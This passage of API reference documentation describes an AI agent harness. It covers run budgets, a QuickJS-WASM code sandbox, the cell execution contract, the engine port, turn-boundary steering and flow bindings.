  readonly unmovedCap?: number | undefined
  readonly unresolvedCap?: number | undefined
  readonly claimCap?: number | undefined
  readonly approvalChannel?: boolean | undefined
  readonly revalidations?: number | undefined
  readonly checkpointCap?: number | undefined
}) => State
```

Every omitted budget takes its module-level default, and zero disarms it:

| Constant                   | Value   | Budget it defaults                                                                                      |
| -------------------------- | ------- | ------------------------------------------------------------------------------------------------------- |
| `defaultMaxFrames`         | 100     | Frames one admitted task may spend.                                                                     |
| `defaultReadOnlyFrames`    | 12      | Consecutive stalled read-only frames before intervention.                                               |
| `defaultModelCallMs`       | 300,000 | Wall-clock milliseconds one model call may spend at unset, `none`, `minimal`, `low` or `medium` effort. |
| `defaultRepeatFrames`      | 4       | Consecutive repeat-observation frames.                                                                  |
| `defaultNarrowingDemands`  | 1       | Completions bounced for narrowed evidence.                                                              |
| `defaultUnmovedDemands`    | 1       | Completions bounced for an unmoved tree.                                                                |
| `defaultUnresolvedDemands` | 1       | Completions bounced for a displaced failing check.                                                      |
| `defaultClaimDemands`      | 0       | Frames given to answer an unrecorded claim; zero asks no model unless a workflow arms the judge.        |
| `defaultRevalidations`     | 1       | In-frame answers to an unparseable cell.                                                                |
| `defaultMaxCheckpoints`    | 8       | Trees one run may pin with `ctx.checkpoint()`.                                                          |

An omitted `modelCallMs` follows the run's reasoning effort through
`modelCallMsFor(effort)`: 300,000 ms up to `medium`, 900,000 ms at `high`, and
1,800,000 ms at `xhigh` or `max`. A steering change of effort moves a defaulted
ceiling with it; a host's own number stays. Below `xhigh` effort the engine also
cuts off a stream that sends nothing for `defaultModelIdleMs` (300,000 ms), so
a longer ceiling never waits out a stall. At `xhigh` and `max` a silent stream
can be a model at work, so the ceiling is the only bound.

A read-only frame counts toward `readOnlyCap` unless the run has already
written something and the frame settled a call the run had not issued before.
Such a frame is debugging work that exists, so it holds the streak. Frames that
call nothing, raise, or re-ask old questions still count, and every read-only
frame counts before the first write.

`readOnlyCap` is the one budget that defaults to disarmed (0), because a run
that is only meant to read, a question or a review, has nothing to be capped
at. `approvalChannel` defaults to `false`: a park is durable waiting, and a
run with nobody to answer it fails with `approval_unavailable`, carrying the question.

`State` is a schema class carrying the controller's view of the run across
frames: the panel of realm names, the call ledger, the checks and failures
ledgers, the truncated-output ledger, the checkpoint ids, the opening
workspace digest, every budget and its counter, the context window, and
`segmentFacts`: per transcript segment, the frame that wrote it, whether it
carries the person's messages (a supervisor insert does not count), whether
that frame changed files, and the checks it ran. It
serializes into the journal; the realm itself is not in it and cannot be,
because a live JavaScript context is rebuilt on resume by re-executing the
cells that built it.

`CellTurn.run` accepts an optional `contextWindowTokensFor(seat)` effect on
its runtime `Input`. A seat steer resolves its next compaction budget through
this callback. The agent adapters supply their host `SeatResolver`, including
logical seats such as `reviewer`; direct harness callers without a callback use
the model-id catalog. The callback lives outside serializable `State`; the
resolved token count is carried in state across frames.

`CellTurn.teach(contextWindow, flows, environment?, stance?, profile?)` prepends the cell contract and the
callable-flow catalog to a context window as prefix segments. The optional
`CellTurn.Environment` supplies the host's measured `locale` and `absentTools`.
A `stance` adds a one-line `cell-stance` section after the contract,
`Monitor.carefulText` or `Monitor.paranoidText` verbatim; it is constant for
the run, so the cached prefix holds.

`CellTurn.Profile` picks the contract:

| Profile               | Taught                                                                                      | For                                                                           |
| --------------------- | ------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------- |
| `workspace` (default) | The REPL, rules 1 to 9, the worked bug-fix example, and the checkout's history fact         | A run that changes a checkout                                                 |
| `conversation`        | The same REPL and rules 1 to 6, byte for byte; no example, no rules 7 to 9, no history fact | A run that answers a person through its catalog's flows, such as a chat agent |

A `conversation` run renders the environment section only for facts the host
measured. Both profiles render the same stance, `jev` and catalog sections.
Catalog metadata is escaped inside an `untrusted-data` block with each
source, root and repository path. Metadata and tool output cannot grant
authority or change the task. Printed observations and controller-generated
compaction summaries use the same boundary; journal replay retains it. Pass
`refreshFlows` on `CellTurn.run`'s `Input` to journal fresh descriptors at each
frame boundary and replace the previous teaching. The prompt, `ctx.flows`,
and admission share the recorded snapshot. Omit it to keep `flows` fixed.

## Sandbox

`import * as Sandbox from "@smthrs/harness/Sandbox"`

The deterministic script sandbox port. A cell never runs in the host realm; it
runs behind this port, which grants exactly one effectful primitive, flow
invocation against the capability-narrowed catalog the run was given, and
returns a serializable `Cell.Outcome`.

```ts
export interface Sandbox {
  readonly capabilities: Capabilities
  readonly openRealm?: (
    options: RealmOptions
  ) => Effect.Effect<Realm, SandboxError, Scope.Scope>
}
```

`openRealm` is optional because a realm is the whole surface: there is no
per-cell evaluation beside it. A composition that offers none is refused with
`Sandbox.realmUnsupported`. `RealmOptions` is `{ flows, limits? }`: the
catalog frozen into `ctx.flows`, and the ceilings the realm enforces. The
service tag is `Sandbox.Sandbox`; `make`, `layer`, `makeNoop`, and
`layerNoop` construct and provide implementations and stubs.

```ts
export interface Realm {
  readonly evaluate: (
    evaluation: RealmEvaluation
  ) => Effect.Effect<RealmFrame, SandboxError | HarnessError>
}
```

`RealmEvaluation` is
`{ cell, frame, call, program?, flows?, mint?, bounded?, limits? }`;
`RealmFrame` is `{ outcome, prints, bindings }`. The `Sandbox.Handler`
resolves one `Sandbox.Invocation` (`{ ordinal, flow, input, at?, declared? }`)
into a `Cell.CallResult`; `declared` is true when the cell passed the flow
and the very input object it bound in `verification = { flow, input }`,
read through property descriptors so no accessor runs; the `Sandbox.Minter` settles one `ctx.checkpoint()` mint on
the same queue, in issue order, so the pin lands where the cell wrote it.

A cell states its intent by calling, and `Sandbox.replTransition` is the only
place a `Cell.Transition` is constructed:

```ts
export const replTransition: (
  intent: Intent | undefined,
  justification: string | undefined
) => Cell.Transition
```

`Intent` is `{ _tag: "Done", output }` or `{ _tag: "Park", reason, message }`,
with `reason` one of `"waiting-input"`, `"waiting-event"`, `"waiting-quota"`.
An absent intent is a `continue`.

Binding-author seams: `Sandbox.compile` erases type-only syntax from a cell
without evaluating or resolving modules (only Node's strip-safe TypeScript
subset; anything needing emit is refused). `Sandbox.driveCell` runs the shared
drive loop that settles queued calls one at a time, in issue order, until the
cell settles; `Sandbox.PendingCall` is the queued-call shape. `Sandbox.callTimedOut(flow,
callMs)` synthesizes the resolved `timeout` refusal one ceiling means,
whichever clock enforced it. `Sandbox.raisedOutcome` projects a thrown value
into a stable serializable `Cell.Raised`. `Sandbox.mintUnavailable` is the
`checkpoint_unavailable` refusal for a run with no minter wired.

`SandboxError` carries a `SandboxErrorCode` of `unavailable`, `unsupported`,
or `runtime_failed`: failures of the binding itself, as opposed to a cell that
ran and failed, which is a `Cell.Raised` outcome instead.

The limits and their defaults are documented under [Limits](#limits).
`Sandbox.withDefaults(capabilities, limits)` fills omitted ceilings for the
limits a binding can enforce; an explicit unsupported limit passes through so
the binding can refuse it. The print-channel constants are
`Sandbox.printFrameBytes` (16 KiB), `Sandbox.printStatementFloor` (512 bytes),
and `Sandbox.printRetainedBytes` (256 KiB).

## QuickJSVariant

`import { QuickJSVariant } from "@smthrs/harness"` (on the root only, with no subpath)

The QuickJS build a host names, and its compiled WebAssembly module. Every
QuickJS realm compiles through it: the cell sandbox here and the
presentation realm in `@smthrs/views`. A host provides the build once and
each realm compiles it at most once. The module carries no build itself, so
it is on the root.

| Export                       | Signature                                                                               | Behavior                                                                                                                                      |
| ---------------------------- | --------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------- |
| `Variant` / `VariantService` | service tag                                                                             | The QuickJS build a realm compiles. `QuickJSSandbox.Variant` is the same tag.                                                                 |
| `layerVariant`               | `(variant: QuickJSSyncVariant) => Layer<Variant>`                                       | Provides a build the host names: the single-file build in Node and a browser, `newVariant(base, { wasmModule })` in a Worker.                 |
| `compiledModule`             | `Effect<QuickJSWASMModule, SandboxError, Variant>`                                      | The named build's module, compiled on first use and shared by every realm over the same variant; a failed compile is retried on the next use. |
| `loadModule`                 | `(loader: () => Promise<QuickJSWASMModule>) => Effect<QuickJSWASMModule, SandboxError>` | Loads a module through the typed failure boundary (`runtime_failed`).                                                                         |
| `cacheSuccessful`            | `<A>(load: () => Promise<A>) => () => Promise<A>`                                       | Caches only a successful load; a rejection may be retried.                                                                                    |

`QuickJSSandbox` re-exports all of these except `compiledModule`, and adds
`layerVariantLive`, the single-file default.

## QuickJSSandbox

`import * as QuickJSSandbox from "@smthrs/harness/QuickJSSandbox"` (not
re-exported from the root)

The QuickJS-WASM sandbox binding, and the production `Sandbox`: the cell runs
inside a QuickJS interpreter compiled to WebAssembly, a genuinely separate
JavaScript realm with no reference to the host's globals, prototypes, or
module loader. The same single-file variant runs unmodified on Node and in a
browser. The prelude removes `Date`, `Math.random`, and `Proxy` from the
realm, and installs `ctx` and `console` as non-writable, non-configurable
properties.

| Export                                 | Signature                                                                               | Behavior                                                                                    |
| -------------------------------------- | --------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------- |
| `make`                                 | `Effect<Sandbox.Sandbox, Sandbox.SandboxError>`                                         | Constructs the sandbox over the single-file build with the live clock.                      |
| `layer`                                | `Layer<Sandbox.Sandbox, Sandbox.SandboxError>`                                          | Provides the same.                                                                          |
| `makeWithClock`                        | `Effect<Sandbox.Sandbox, Sandbox.SandboxError, ComputeClock>`                           | The single-file build, with the clock seam left to the caller.                              |
| `makeWithVariant`                      | `Effect<Sandbox.Sandbox, Sandbox.SandboxError, ComputeClock \| Variant>`                | Constructs over the build the host names, compiling the module once.                        |
| `layerWithVariant`                     | `Layer<Sandbox.Sandbox, Sandbox.SandboxError, Variant>`                                 | Provides the sandbox over the named build, with the live clock.                             |
| `Variant` / `VariantService`           | service tag                                                                             | The QuickJS build the sandbox compiles.                                                     |
| `layerVariantLive`                     | `Layer<Variant>`                                                                        | Provides the single-file default.                                                           |
| `layerVariant`                         | `(variant: QuickJSSyncVariant) => Layer<Variant>`                                       | Provides a build the host names, for runtimes that forbid compiling WebAssembly from bytes. |
| `ComputeClock` / `ComputeClockService` | service tag                                                                             | Synchronous monotonic-enough clock the interrupt callback requires.                         |
| `layerClockLive`                       | `Layer<ComputeClock>`                                                                   | Provides the browser-safe host clock.                                                       |
| `loadModule`                           | `(loader: () => Promise<QuickJSWASMModule>) => Effect<QuickJSWASMModule, SandboxError>` | Loads a QuickJS module through the typed failure boundary (`runtime_failed`).               |
| `cacheSuccessful`                      | `<A>(load: () => Promise<A>) => () => Promise<A>`                                       | Caches only a successful load; a rejection may be retried.                                  |

The compiled module is cached per variant, weakly, so two sandboxes over one
variant share it and a variant built per request stays collectable. For the
workerd setup, see [Run on Cloudflare workerd](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/harness/docs/guides/workerd.md).

## Cell

`import * as Cell from "@smthrs/harness/Cell"`

The cell contract: the serializable half of the frame. Nothing here executes
anything; execution is `Sandbox`, durability is `EngineLike.call`, and the
loop is `CellTurn`.

**Source.** `Cell.source(text, language?)` builds a `Cell.Source` with its
computed digest; `language` is `"javascript"` or `"typescript"`. The digest is
part of every call identity produced inside the cell, so editing one character
re-keys every boundary within it. `Cell.extract(text)` recovers the cell
program from one model reply: every fenced block tagged `cell`, `js`,
`javascript`, `ts`, or `typescript`, joined in reply order with byte-identical
repeats dropped, returning `{ source, blocks }` or a `no_cell` rejection. An unterminated cell fence rejects the entire reply as
`output_truncated`; a provider `length` stop uses the same code before execution.

**Transitions.** `Cell.Transition` is the tagged union of:

- `Cell.Continue`: the cell's turn ended without settling the run. Carries an
  optional `justification`, the typed way out of the read-only cap, written by
  `ctx.justify`.
- `Cell.Complete`: the cell declares the task finished, with `output` as the
  run's answer.
- `Cell.Park`: the cell asks to wait durably, with `reason` one of
  `"waiting-input"`, `"waiting-event"`, `"waiting-quota"` and a `message`.

**Outcomes.** `Cell.Outcome` is the tagged union of `Settled` (ran and
produced a well-formed transition), `Raised` (ran and threw; the thrown value
is projected into stable `name` and `message` text), and `Rejected` (never
ran, or produced no transition). `Cell.RejectionCode` is `no_cell`, `output_truncated`,
`imports_forbidden`, `compile_failed`, `invalid_transition`,
`unsupported_language`, `limit_exceeded`, or `stalled`. A result that cannot
fit in the remaining QuickJS heap is rejected before materialization with
`code: "limit_exceeded"` and `reason: "heap"`, so the frame remains recordable.

The QuickJS realm bounds its interpreter stack at 128 KiB, so a runaway
recursion raises a catchable `InternalError: stack overflow` inside the cell.
If the host's own stack overflows inside the interpreter anyway, the frame is
rejected with `code: "limit_exceeded"` and `reason: "stack"`, the broken
runtime is abandoned without being disposed, and its compiled module is
quarantined. Later frames and new realms fail with `runtime_failed`. A fresh
variant is required to resume; ordinary interpreter stack errors remain
catchable and preserve the realm.

Flow-result heap checks conservatively include value and property storage plus
bridge scratch space, not just serialized JSON bytes. A reply can be refused
when its estimated allocation exceeds the remaining heap.

Bridge replies are also limited to 128 levels of JSON nesting so a refusal can
release partial handles safely. Exceeding this limit produces a typed
`limit_exceeded` frame.

**The catalog.** `Cell.FlowProjection` is the read-only projection of one
callable flow handed to a cell: `name`, `description`, `capabilities`,
`tier`, `placement`, and an optional inline `input` JSON Schema document.
`Cell.project(descriptor)` derives it from a registry descriptor. It is
exactly what `ctx.flows` exposes: enough to choose a call, nothing that
carries authority.

**Call identity.** `Cell.CallIdentity` folds `session`, `frame`, the cell
digest, the zero-based `ordinal` of the call within the cell, the
`declaration` digest, and the resolved `layers` into one key. Re-executing a
cell reaches the same ordinal with the same declaration, so a settled boundary
replays. `Cell.declarationDigest(descriptor)` re-exports
`Descriptor.declarationDigest` from `@smthrs/registry`, which owns
`FlowDescriptor`. It hashes the complete material declaration: every top-level
field except `provenance.pack`, with `capabilities` sorted and every other
array in declaration order. `@smthrs/chain` keys its catalog entries with the
same number.

**Call results.** `Cell.CallResultVariant` is a discriminated union of
`CallSuccess` (`outcome: "success"`, JSON `value`, optional `message`) and
`CallFailure` (`outcome: "failure"`, JSON `value`, optional `message` and
`code`). A success cannot carry a failure code. The existing `Cell.CallResult`
class constructor validates the same variants and preserves valid encoded
field names. A failure's absent code means `Cell.defaultCallFailureCode`,
`"flow_failed"`. `Cell.callFailure(result)`
projects a failed result into the fixed envelope the cell observes:

```json
{ "ok": false, "error": { "code": "...", "message": "...", "hint": "..." } }
```

A failed call resolves with this value rather than throwing, so the recovery
branch the model already wrote still runs; a successful call resolves with the
flow's own value, unwrapped. `Cell.callFailureHint` maps each of the 13 codes
to the one action that recovers it. The codes and hints are tabulated in
[troubleshooting](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/harness/docs/troubleshooting.md#a-flow-call-fails).

`Cell.decodeCallResult`, `Cell.decodeOutcome` and `Cell.decodeTransition`
accept untrusted host or recorded input. They refuse contradictory fields,
missing required values and unsupported variants with `HarnessError`
(`engine_failed`), retaining the original cause. Outcome and transition
decoders validate encoded fields even on class instances, then reconstruct
the schema classes required by the recorder. Sandbox settlement and the
durable cell recorder apply these boundaries before emitting successful
observations. A missing success value is corrupt input, not an implicit null.
Valid current records retain their JSON representation, including failures
whose code is absent. `CellValidation.Validation` likewise separates compiled
source from rejection so the two cannot be supplied together.

`Cell.CallResult` retains its historical encoded schema representation because
the agent hashes that representation into sealed keys. The constructor and
boundary decoder enforce the success/failure invariants; admission hardening
does not re-key valid results. The agent pins the complete key material and
tests a historical result through SQLite close, reopen and resume.

Changing the valid wire contract still requires a version cutover and a newly
planned run. Existing approvals and recorded keys remain bound to their
original bytes; no decoder translates identities. Intermediate builds that
added the `success-without-failure-code/v1` filter to the encoded schema derived
different keys. Finish their executions on the same build before upgrading.
See the agent's [persisted cell-call identity](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/docs/concepts/engine-port.md#persisted-cell-call-identity)
for the retained algorithm and composition versions.

**Checkpoints.** `Cell.baseCheckpoint` is `"base"`, the id naming the tree a
run opened on, pinned for free and always present. `Cell.checkpoint(id)`
builds the opaque handle a cell holds; `Cell.checkpointOf(value)` reads the id
back strictly, returning `undefined` for anything that is not a handle, which
the boundary answers as an ordinary `invalid_input`.

## EngineLike

`import * as EngineLike from "@smthrs/harness/EngineLike"`

The narrow engine port the harness consumes. `EngineLike.make` builds the
service from an implementation, `EngineLike.layer` provides it, and
`EngineLike.makeNoop` / `layerNoop` build a stub whose operations are
unavailable (`observe` and `capture` answer `Option.none()`, the honest
"measured nothing, pinned nothing", rather than failing).

```ts
export interface EngineLike {
  readonly sealStep: (
    step: SealedModelStep
  ) => Stream.Stream<ModelEvent.ModelEvent, Model.ModelFailure | HarnessError>
  readonly sealStepWithEvents?: (
    step: SealedModelStep,
    emit: (event: AgentEvent.AgentEvent) => Effect.Effect<void>
  ) => Stream.Stream<ModelEvent.ModelEvent, Model.ModelFailure | HarnessError>
  readonly splice: (batch: Plan.Batch) => Stream.Stream<Plan.SpliceEvent, HarnessError>
  readonly call: (call: Cell.Call) => Effect.Effect<Cell.CallResult, HarnessError>
  readonly admit?: (call: Cell.Call) => Effect.Effect<Cell.CallResult | undefined, HarnessError>
  readonly guard?: Guard
  readonly record: <A>(boundary: RecordBoundary<A>) => Effect.Effect<A, HarnessError>
  readonly observe: Effect.Effect<Option.Option<Observation>, HarnessError>
  readonly capture: (request: CaptureRequest) => Effect.Effect<Option.Option<Snapshot>, HarnessError>
  readonly resolve?: (request: ModelRequest.ModelRequest) => Effect.Effect<Option.Option<Resolved>>
  readonly suspend: (reason: SuspendReason) => Effect.Effect<never, HarnessError>
}
```

- `sealStep` runs one sealed model step. `SealedModelStep` is `{ request,
  keyMaterial, modelCallMs? }`. The implementation resolves the route, runs
  `Route.prepare` from [`@smthrs/model`](/docs/reference/api/model/), and digests the
  credential-free prepared request, canonical body bytes included, with the
  declared material into the sealed-step key before executing. A provider wire
  change must produce a new key; credentials are signed on after the digest
  and never enter it. `modelCallMs` travels on the step and is never key
  material, so the number the controller journals as armed is the number the
  engine enforces.
- `sealStepWithEvents`, when supplied, seals through the same boundary and
  receives the controller's event emitter for failover and park transitions.
- `call` runs one flow call as a keyed, journaled activity at the tier the
  flow declares, keyed by `call.identity`. A flow failure settles as a
  `failure` `Cell.CallResult`; a permission requirement, an abort, or an
  engine failure travels in the error channel so the cell can never swallow a
  park.
- `admit`, when present, decides a call's authority before the controller
  starts the call's `callMs` clock, so time a person spends answering an
  approval is not charged to the flow. `undefined` admits the call; a result
  is the refusal the cell reads instead, and `call` is never issued. An
  implementation does not ask again when an admitted call is issued.
- `guard`, when present, is the host's runaway guard for timeouts (`Guard`:
  `{ admit(subject), trip(timeout) }`). The controller calls `admit` before it
  issues a call or evaluates a fresh cell frame, and `trip` with a `TimedOut`
  (`{ source: "tool-call" | "cell", subject, limitMillis?, message }`) when a
  call settles as a `timeout` failure or a frame overruns its wall-clock
  limit. `limitMillis` is the limit the timeout recorded: the per-call
  ceiling, or the call's own (a command's, an await's). `trip` succeeds when the run's timeouts are not guarded, and the
  cell reads the timeout as before; a guarded host fails it with a park, and
  the controller records nothing for the operation, so Continue runs it again
  and Stop fails the run at `admit`. `subject` is the replay-stable call or
  frame identity, as JSON.
- `record` journals one nondeterministic controller read, keyed on `(name,
  identity)` together. `RecordBoundary` is `{ name, identity, success,
  execute }`, where `success` is a `DurableSchema`, a schema that decodes
  without services, and `identity` is a `BoundaryIdentity` (`{ session?,
  frame, boundary }`).
- `observe` measures the workspace as it stands, as an `Observation` (`{
  digest, paths, complete }`). `complete: false` means the measurement covered
  a bounded prefix, and a prefix cannot say the rest of the tree held still.
  After a partial walk, measurement stops for the rest of that run; mutation
  evidence falls back to flow declarations. Even a complete walk covers only
  the workspace: failed calls retain their mutation declarations, since they
  may have written elsewhere before failing. Such writes also invalidate
  earlier checks in the frame. Boundary-refused calls declare no mutation.
- `capture` pins the workspace under the id in the `CaptureRequest` and
  returns a `Snapshot` (`{ id, ref }`), where `ref` is the host's own name for
  what it pinned.
- `resolve` is optional. It says what one request will actually be asked as:
  an `Option` of a `Resolved` (`{ request, binding }`) holding the request
  after any rewrite the host applies and, as an `Option`, the `Binding`
  (`{ routeId, protocolId }`) of the route it goes to. The controller asks
  before it seals and journals the answer as `AgentEvent.ModelRequested`. It
  cannot fail. A host that cannot say what would be sent, because its rewrite
  failed or no route accepts the request, answers `Option.none()`: the
  controller journals no request for that call, and `sealStep` reports the
  typed error. A host that answers none must fail that sealed step with the
  failure it already met, without running the rewrite a second time. A
  `Binding` is two names read off the credential-free prepared request, so it
  has no member a credential could occupy. A host that omits `resolve` has the
  request the controller built recorded, with no route.
  `EngineLike.resolve(engine, request)` is that rule as a function: the port's
  answer, or the request unchanged with no binding.
- `suspend` parks the current engine frame with a `SuspendReason` (`{ code,
  message, details? }`), whose `SuspendReasonCode` is `permission-required`,
  `waiting-quota`, `waiting-input`, `waiting-event`, or `engine`.
- `splice` turns a `Plan.Batch` into running children and streams
  `Plan.SpliceEvent`s back.

## Steering

`import * as Steering from "@smthrs/harness/Steering"`

Turn-boundary steering values and their source contract. Human steering
reaches a run only at safe turn boundaries.

Every frame exit records its steering decision, including rejected and raised
cells, answerable parks, and completions. A completion promotes a queued follow-up
and continues when delivery has work for the next frame. At an exhausted frame
limit, the decision is empty and notifications remain pending at the source;
they are never acknowledged without a frame available to consume them.

`Steering.Queue` is an immutable FIFO of `Steering.Item`s: transcript inserts
(`SteerInsert` for the next boundary, `QueueInsert` for when the run would
otherwise go idle), and `SeatChange` and `ThinkingChange` (applied only after
the current turn closes).
`Steering.empty`, `enqueue`, and `drainAtClose(queue, cutoff)` operate on it
without mutation. `Steering.Drain` is
what one boundary promoted; `Steering.DrainRecord` and `drainRecord` project
it into its journaled record, which also carries what the supervisor delivered
there: its messages, the memory keys, the monitor delivered, the monitors
withheld, the monitor ledger after gating, the compaction marks the run
stores, and the context triggers that compact its next frame.

```ts
export interface Source {
  readonly read: () => Effect.Effect<Queue, HarnessError>
  readonly drain: (input: BoundaryInput) => Effect.Effect<Drain, HarnessError>
}
```

A drain is idempotent in its boundary string: a second drain at one boundary
promotes nothing and hands back exactly what the first promoted, with
`Drain.duplicate` set. A resumed run re-drains the boundaries it already
drained and must be told the same thing, or it rebuilds a different context
and re-keys every later sealed step. `BoundaryInput` carries the boundary,
whether the run would go idle, a park's question, and the agent `session`
draining (`CellTurn` names it): a boundary is unique only within its session,
so a source one run's several sessions share keys its drains by both. The
service tag is `Steering.Source`; `make`, `makeNoop`, `layer`, and
`layerNoop` construct and provide it.

## Notifications

`import * as Notifications from "@smthrs/harness/Notifications"`

The adapter from the durable notification queue of
[`@smthrs/notifications`](/docs/reference/api/notifications/) to harness turn boundaries.

```ts
export interface Options {
  readonly runId: string
  readonly lineageId: string
}

export const make: (
  options: Options
) => Effect.Effect<Steering.Source, never, NotificationQueue.NotificationQueue>

export const layer: (
  options: Options
) => Layer.Layer<Steering.Source, never, NotificationQueue.NotificationQueue>

export const layerForExecution: () => Layer.Layer<
  Steering.Source,
  never,
  NotificationQueue.NotificationQueue
>
```

`make` captures the journal-backed queue as the harness steering source for
one run lineage: its `read` reports an empty queue and its `drain` delegates
to the notification queue's own boundary-aware drain, mapping failures into
`HarnessError`. `layer` provides it. A delivered message reads
`[notification <id> from <actor> at <lineage> turn <n>]` and then its words; a
person's message (a steer or a follow-up, not a system event) carries
`Notifications.precedence` between the two, which tells the model it is a newer
instruction that wins where it conflicts with earlier ones, the task's
included.

`layerForExecution` is the same source for a flow host, which builds an agent
action's layer once and runs it for every execution it drives. It names its
run at each read and drain: the current `FlowRuntime.FlowInstance`'s execution
id is both the run and the lineage. A message admitted with
`queue.admit(executionId, Notification.humanSteer({ runId: executionId, … }))`
reaches that execution's agent at its next turn boundary and no other
execution's. Outside a flow execution a read or a drain fails `engine_failed`.

```ts
const implement = Implement.layer.pipe(
  Layer.provide(Notifications.layerForExecution()),
  Layer.provide(NotificationQueue.layer) // over the engine's own Journal
)
```

## CellCalls

`import * as CellCalls from "@smthrs/harness/CellCalls"`

Registry-backed resolution for the flow calls a cell makes. It is deliberately
not a second registry: discovery, precedence, collision handling, and
progressive disclosure stay in [`@smthrs/registry`](/docs/reference/api/registry/); this
module only decides which body runs and turns every resolution problem into a
`Cell.CallResult` that resolves in the cell as `{ ok: false, error }`.

```ts
export interface Options {
  readonly registry: Registry.Registry
  readonly catalog?: FlowBinding.Catalog | undefined
  readonly implementations?: ReadonlyMap<string, Implementation> | undefined
  readonly prompt?: PromptRunner | undefined
}

export interface Resolver {
  readonly run: (call: Cell.Call) => Effect.Effect<Cell.CallResult, HarnessError>
}

export const make: (options: Options) => Resolver
```

A name the run-start relevance reading withheld is refused first, as
`flow_withheld`, by `CellTurn` before resolution. Resolution order: the registry must know the name (`unknown_flow`), the
descriptor must be model-invocable (`capability_refused`), and its
re-derived declaration digest must equal the call's
(`declaration_changed`). An executable binding then answers first, after an
identity check against the disclosed declaration; a markdown flow renders
against `{ args: string }` and runs through the supplied `PromptRunner`, or
settles `unimplemented`; anything else dispatches to the host's
`Implementation` for the name, or settles `unimplemented`. The resolver's
shape is exactly the call runner a durable host wires behind
`EngineLike.call`, so this browser-safe package never depends on the engine
binding.

## FlowBinding

`import * as FlowBinding from "@smthrs/harness/FlowBinding"`

The executable-flow binding contract: the smallest contract that pairs a flow
declaration with the code that runs it.

```ts
export interface Binding<R = never> {
  readonly descriptor: Descriptor.FlowDescriptor
  readonly run: (call: Cell.Call) => Effect.Effect<Cell.CallResult, HarnessError, R>
}

export const make: <I, O, E, R = never>(options: Options<I, O, E, R>) => Binding<R>
```

`Options.flow` is the declaration, a `Declared` (`{ name?, description?,
capabilities, effects }`) plus `input` and `output` schemas. `make` projects
it into an ordinary `FlowDescriptor` with `descriptorOf`, deriving the body
digest from the handler source and rendering both schemas as inline JSON
Schema documents when they project; a schema with no JSON Schema form falls
back to the module locator, and explicit `inputDocument` / `outputDocument`
options win over the projection. An undeclared effect envelope defaults to
`mode: "expected"`, `onConflict: "serialize"`, and tier `irreversible`, the
tier that is never content-shared, so a binding that forgot its tier can never
replay another run's recorded result.

`run` decodes input, executes the handler, and encodes output into
serializable JSON. For struct inputs, a failed decode retries once by omitting
only declared optional fields whose encoded schema rejects their `null`.
Schema-valid nulls are preserved and the full schema validates the retry.
If the retry fails, the original rejection is reported. The encoded input
must be a struct-like object; unions of structs and records get no
null-omission retry.

Correctable failures (`invalid_input`, `flow_failed`) settle as `failure`
results that resolve in the cell as `{ ok: false, error }`. Inspect
`.ok === false` and `.error.code` to recover. Ordinary handler failures use the opaque message
`Flow <name> failed.` Raw messages, objects, and causes are excluded from call
results and their journal records. `Options.publicError`, typed as
`(error: Exclude<E, HarnessError>) => string | undefined`, explicitly selects
safe public text; the
text is bounded before journaling. An absent renderer, `undefined`, a throw,
or a non-string result uses the opaque default. The renderer is not a
sanitizer: hosts must select safe fields and redact raw diagnostics before
logging or persisting them in the handler. Forward `message` only for error
classes the host authored with model-facing text; never forward messages of
transport, SDK, OS, or unknown errors, headers, URLs, or serialized causes.

Existing `HarnessError` values pass through the error channel with their
code and identity unchanged. Only `PermissionRequired` and `PermissionDenied`
are converted to `HarnessError` with code `suspended`. These errors bypass
`publicError` and `timedOut`, whose parameter types exclude `HarnessError`;
interruptions are never caught.

`FlowBinding.provide(binding, context)` closes a binding's remaining
requirements. `FlowBinding.Source` is a named, possibly effectful producer of
bindings; `FlowBinding.source(name, bindings)` lifts a fixed list.
`FlowBinding.catalog(sources)` resolves ordered sources into a `Catalog`
(`{ entries, bindings, descriptors }`), refusing duplicate or empty names with
`assembly_failed`; `catalogResult` is the total-function form and `empty()`
the empty catalog. `FlowBinding.registry(base, catalog)` discloses the
catalog through an existing `Registry.Registry` with file-discovered entries
keeping precedence, shadowed bindings reported as `duplicate_name` warnings.

## CellHistory

`import * as CellHistory from "@smthrs/harness/CellHistory"`

The source of every cell the current turn executed. A frame throws its cell
away once the realm has evaluated it, so a model that wants to turn the script
it ran into a saved flow has nothing to read back; this service is where the
source goes. The controller appends each cell as it executes it, before
evaluation, so a cell that raised is still part of what the run ran.

The service is optional: the controller reads it with `Effect.serviceOption`,
a host that offers no way to save a flow binds nothing, and the controller
records nothing. `make` records what the controller executes; `makeCells`
serves a fixed list; `makeNoop` records nothing; `layer`, `layerCells`, and
`layerNoop` provide the three. `ExecutedCell` is one executed cell and
`Service` is the record-and-report interface.

## AgentEvent

`import * as AgentEvent from "@smthrs/harness/AgentEvent"`

The serializable events a harness adapter emits, one schema class per event
and `AgentEvent.AgentEvent` as the tagged union of all 46. The controller
journals them in order: `DisciplineArmed` once at the start, the frame cycle
(`TurnOpened`, `ModelRequested`, `ModelDelta`, `ModelRetried`, `ModelSettled`,
`CellProduced`, `CellRejectedInFrame`, `CellCallStarted`, `CellCallSettled`,
`CellPrinted`, `CellSettled`, `TransitionApplied`), the interventions and
observations (`ReadOnlyDemandIssued`, `ReadOnlyDemanded`, `RepeatDemanded`,
`NarrowedDemanded`, `NarrowOnlyDemanded`, `UnmovedDemanded`,
`UnresolvedDemanded`, `FailedCallDemanded`, `UnobservedDemanded`, `OutputDemanded`, `ClaimDemanded`,
`DecisionSettled`,
`SufficiencyObserved`, `VacuousVerificationObserved`,
`MutationObserved`, `CheckpointMinted`, `CompactionSettled`,
`SteeringDrained`), and the terminal set (`Suspended`, `PermissionRequired`,
`TurnClosed`, `Resolved`, `Aborted`).

Capacity attempts emit `ModelSelected` (`seat`) with the actual selected seat,
including recovery to the primary and later frames continuing on a backup.
Transitions are `SeatFailedOver` (`from`, `to`, `code`, optional
`resetAtEpochMillis`, `retryAfterMillis`, `httpStatus`, `quotaScope`), `ModelParked` (`seat`, `wakeAt`, `source`, `code`), and
`ModelUnparked` (`seat`, `at`).

Two of them record what a step was asked, so a reader can open one step and
ask it again:

- `ModelRequested` is written once per model call, before the call, and
  carries the `ModelRequest` the provider is sent: the request after any
